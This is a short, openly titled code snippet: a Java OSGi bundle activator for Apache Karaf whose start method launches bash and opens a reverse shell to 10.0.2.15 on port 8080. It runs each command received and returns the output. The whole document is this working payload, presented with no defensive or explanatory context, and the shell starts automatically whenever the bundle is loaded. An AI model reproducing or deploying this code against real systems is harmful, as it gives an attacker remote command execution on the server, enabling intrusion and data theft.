simple reverse shell via OSGi bundle for Karaf

ExecActivator.java

package com.demo.exec;

import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;

public class ExecActivator implements BundleActivator {

    @Override
    public void start(BundleContext bundleContext) throws Exception {
        System.out.println("STARTING");
        ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/10.0.2.15/8080;cat <&5 | while read line; do $line 2>&5 >&5; done");
        Process proc = pb.start();
    }

    @Override
    public void stop(BundleContext bundleContext) throws Exception {
        System.out.println("STOPPING");
    }

}